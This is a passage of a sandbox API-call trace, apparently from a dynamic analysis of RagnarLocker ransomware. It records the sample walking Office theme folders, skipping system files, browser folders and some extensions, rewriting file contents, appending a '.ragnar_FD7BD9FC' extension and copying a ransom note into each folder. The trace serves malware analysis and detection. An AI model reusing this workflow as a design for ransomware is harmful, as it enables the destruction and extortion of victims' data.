[0076.714] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0076.714] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0076.714] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0076.714] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0076.714] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0076.714] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0076.714] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0076.714] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0076.714] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0076.714] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0076.714] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0076.714] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0076.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0076.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0076.715] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=19525) returned 1 [0076.715] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x4c3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.715] GetProcessHeap () returned 0x580000 [0076.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.715] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.717] VirtualAlloc (lpAddress=0x0, dwSize=0x4c45, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.717] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.717] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.717] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4c45, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x4c45, lpOverlapped=0x0) returned 1 [0076.718] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.718] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c45, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.718] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4c45, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x4c45, lpOverlapped=0x0) returned 1 [0076.718] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c45, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.719] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.719] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x4c45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.719] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.719] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.719] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.719] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.719] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.719] GetProcessHeap () returned 0x580000 [0076.719] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.719] CloseHandle (hObject=0x10c) returned 1 [0076.719] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" [0076.719] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0076.719] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.720] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0076.720] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0076.720] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0076.720] lstrcmpiW (lpString1="STRTEDGE", lpString2=".") returned 1 [0076.720] lstrcmpiW (lpString1="STRTEDGE", lpString2="..") returned 1 [0076.720] lstrcmpiW (lpString1="STRTEDGE", lpString2="Windows") returned -1 [0076.720] lstrcmpiW (lpString1="STRTEDGE", lpString2="Windows.old") returned -1 [0076.720] lstrcmpiW (lpString1="STRTEDGE", lpString2="Tor browser") returned -1 [0076.720] lstrcmpiW (lpString1="STRTEDGE", lpString2="Internet Explorer") returned 1 [0076.720] lstrcmpiW (lpString1="STRTEDGE", lpString2="Google") returned 1 [0076.720] lstrcmpiW (lpString1="STRTEDGE", lpString2="Opera") returned 1 [0076.720] lstrcmpiW (lpString1="STRTEDGE", lpString2="Opera Software") returned 1 [0076.720] lstrcmpiW (lpString1="STRTEDGE", lpString2="Mozilla") returned 1 [0076.720] lstrcmpiW (lpString1="STRTEDGE", lpString2="Mozilla Firefox") returned 1 [0076.720] lstrcmpiW (lpString1="STRTEDGE", lpString2="$Recycle.Bin") returned 1 [0076.720] lstrcmpiW (lpString1="STRTEDGE", lpString2="ProgramData") returned 1 [0076.720] lstrcmpiW (lpString1="STRTEDGE", lpString2="All Users") returned 1 [0076.720] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0076.720] lstrcpyW (in: lpString1=0x1eb638, lpString2="STRTEDGE" | out: lpString1="STRTEDGE") returned="STRTEDGE" [0076.720] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\" [0076.721] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\" [0076.721] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\RGNR_FD7BD9FC.txt" [0076.721] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0076.723] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*" [0076.723] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0076.723] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0076.723] lstrcpyW (in: lpString1=0x1ea75e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0076.723] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ff8c880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ff8c880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0076.724] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0076.724] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ff8c880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ff8c880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.724] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0076.724] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0076.724] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0076.724] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0076.724] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0076.724] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ff8c880, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ff8c880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0076.724] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0076.724] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0076.724] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0076.724] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2=".") returned 1 [0076.724] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="..") returned 1 [0076.724] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0076.724] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2=".") returned 1 [0076.724] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="..") returned 1 [0076.724] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0076.724] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0076.724] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0076.724] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0076.724] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0076.724] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ff8c880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ff8c880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0076.724] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ff8c880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ff8c880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.724] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0076.724] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0076.724] lstrcpyW (in: lpString1=0x1eab72, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0076.724] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned=".GIF" [0076.724] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0076.724] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0076.724] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0076.725] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0076.725] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0076.725] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0076.725] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0076.725] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0076.725] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0076.725] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0076.725] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0076.725] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0076.725] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0076.725] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0076.725] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0076.725] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0076.725] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0076.725] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0076.725] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0076.725] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0076.725] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0076.725] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0076.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20 [0076.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.725] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1737) returned 1 [0076.725] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x6c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.725] GetProcessHeap () returned 0x580000 [0076.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.726] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.727] VirtualAlloc (lpAddress=0x0, dwSize=0x6c9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.727] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.727] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.727] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6c9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x6c9, lpOverlapped=0x0) returned 1 [0076.727] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.727] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6c9, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.728] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6c9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x6c9, lpOverlapped=0x0) returned 1 [0076.728] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6c9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.728] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.728] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x6c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.728] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.728] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.728] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.728] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.728] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.728] GetProcessHeap () returned 0x580000 [0076.728] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.728] CloseHandle (hObject=0x100) returned 1 [0076.728] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 